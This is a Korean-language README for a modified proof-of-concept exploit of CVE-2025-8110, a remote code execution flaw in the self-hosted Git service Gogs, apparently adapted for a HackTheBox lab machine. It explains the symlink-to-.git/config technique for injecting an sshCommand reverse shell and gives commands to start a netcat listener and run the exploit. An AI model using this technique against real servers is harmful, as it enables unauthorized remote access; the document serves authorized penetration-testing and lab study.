
Gogs 서비스 익스플로잇 및 루트 사용자 권한 획득
면책 조항: 이 도구는 교육 목적과 승인된 침투 테스트 용도로만 제작되었습니다. 명시적인 테스트 허가를 받은 시스템에만 사용하십시오.
이것은 zAbuQasem/gogs-CVE-2025-8110의 수정 버전으로, HackTheBox의 Silentium 머신에서 작동하도록 조정되었습니다. 원본 PoC는 Silentium의 특정 Gogs 구성 및 인증 흐름을 처리하기 위한 수정이 필요했습니다.
CVE-2025-8110는 자체 호스팅 Git 서비스인 Gogs의 원격 코드 실행 취약점입니다.
Gogs의 파일 업데이트 API 엔드포인트(PUT /api/v1/repos/.../contents/<file>)는 대상 파일이 심볼릭 링크인지 검증하지 않습니다. 인증된 공격자는 .git/config를 가리키는 심볼릭 링크를 저장소로 푸시한 다음, 해당 API를 사용해 악성 페이로드로 덮어쓸 수 있습니다. 이 페이로드는 git config에 사용자 정의 sshCommand를 주입하며, Gogs는 다음에 해당 저장소에서 SSH 작업을 수행할 때 이를 서버 측에서 실행하여 원격 코드 실행으로 이어집니다.
malicious_link -> .git/config)를 심고 푸시합니다.sshCommand = <reverse shell>을 포함하는 악성 .git/config를 작성합니다..git/config를 덮어쓰고, 다음 SSH 작업 시 셸을 트리거합니다.의존성 설치:
pip install -r requirements.txt
리스너 시작:
nc -lvnp <PORT>
익스플로잇 실행:
python3 CVE-2025-8110.py -u http://<TARGET_URL> -lh <YOUR_IP> -lp <PORT> -un <USERNAME> -pw <PASSWORD>
선택 사항 — Burp Suite를 통한 라우팅:
python3 CVE-2025-8110.py -u http://<TARGET_URL> -lh <YOUR_IP> -lp <PORT> -un <USERNAME> -pw <PASSWORD> -x
| 플래그 | 설명 |
|---|
-u | Gogs 기본 URL |
-lh | 공격자 IP (리버스 셸 호스트) |
-lp | 리스너 포트 |
-un | 등록된 Gogs 사용자 이름 |
-pw | Gogs 비밀번호 |
-x | (선택 사항) localhost:8080의 Burp를 통해 트래픽 라우팅 |